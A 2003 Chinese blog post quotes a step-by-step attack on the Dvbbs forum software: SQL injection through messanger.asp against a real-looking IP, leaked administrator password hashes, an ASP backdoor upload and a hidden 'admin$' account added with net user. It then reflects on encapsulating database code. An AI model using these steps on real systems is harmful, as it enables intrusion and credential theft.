注册 | 登录 | 评论 | 订阅 | 关于

动网论坛漏洞随想

  在网上看到了利用动网论坛漏洞的黑客方法,摘录于下:
第一步:用注册好的用户名登陆,登陆时选择保存cookie,撰写短消息,保存
第二步:利用下边网页提交信息
<form action=http://61.156.35.167/bbs/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32>
<input type=submit>
</form>
username使用SQL Encoder编码,这里我们用一个管理员的名字radiofly
提交
select userpassword from [user] where username=0x72006100640069006f0066006c007900 and userpassword>7
得到
Microsoft VBScript 编译器错误 错误 '800a03f6'

缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 nvarchar 值 '78e4ea2181b00d21' 转换为数据类型为 int 的列时发生语法错误。

/bbs/messanger.asp,行619

78e4ea2181b00d21就是radiofly的前台密码

提交
select password from admin where username=0x72006100640069006f0066006c007900 and password>7
得到后台密码 acaa91f51ed197c7

用dvbbs密码猜解工具猜解密码 等待 等待 再等待。。。。。。ok
得到密码后登陆进入后台,修改文件上传类型,添加asp类型,上传asp后门
得到sql数据库的sa密码,使用sqlexec连接
net user admin$ xiaoxue /add
net localgroup administrators admin$ /add

到此 over :)
by 小路

  以上,没有和动网论坛过不去的意思,不过觉得这种黑客的方法很有趣,倒是使我想起了《C++ 沉思录》中的一段话,也摘录一下:
  代码看上去简单直观,但是外表具有欺骗性:这个例子忽略了一个重要的细节。想知道吗?那就想想getfield的返回类型是什么。由于getfield的值表示的是输入行的一部分,所以显然应该返回一个字符串。但是C没有字符串;最接近的做法是使用字符指针。指针必须指到某个地方;应该什么时候用什么方法回收内存?
  C里有一些解决这类问题的方法,但是都比较困难。一种办法就是让getfield每次都返回一个指针,这个指针指向调用它的新分配的内存,调用者负责释放内存。由于我们的程序先后4次调用了getfield,所以也需要先后4次在适当场合调用free。我可不愿意使用这种解决方法,写这么多的调用真是很讨厌,我肯定会漏掉一两个。

  我觉得很有意思的是“我肯定会漏掉一两个”那一句,比较少人会说这种话,特别是在要出版的书上,虽然他们确实是“肯定会漏掉一两个”的。在这种情况下,封装就显得很重要了,就像上面的动网论坛一样(我并没有读过动网论坛的源程序,所以以下对它的说法并不见得正确,也没有针对它的意思,大多数的网络程序都有Bug,差别只是有否被发现和利用而已),如果能把数据库操作封装一下,对于这个封装做到 BugFree,则很难出现以上的漏洞的吧。否则的话,即使我们知道黑客将可能利用哪些漏洞,在实际编程的时候非常注意,也难免“会漏掉一两个”的……
2003-11-8 12:55:55 (阅读:10638)
作者:梁利锋
标签:杂谈, ASP
zq(非注册用户) 2004-6-9 15:43:16
bu dong
匿名(非注册用户) 2004-8-4 8:02:29
SQL Encoder哪有下载啊??!!怎么不说下载地址啊??!!
丹木秋风(非注册用户) 2004-8-12 23:40:53
将注射啊,想法不错,顶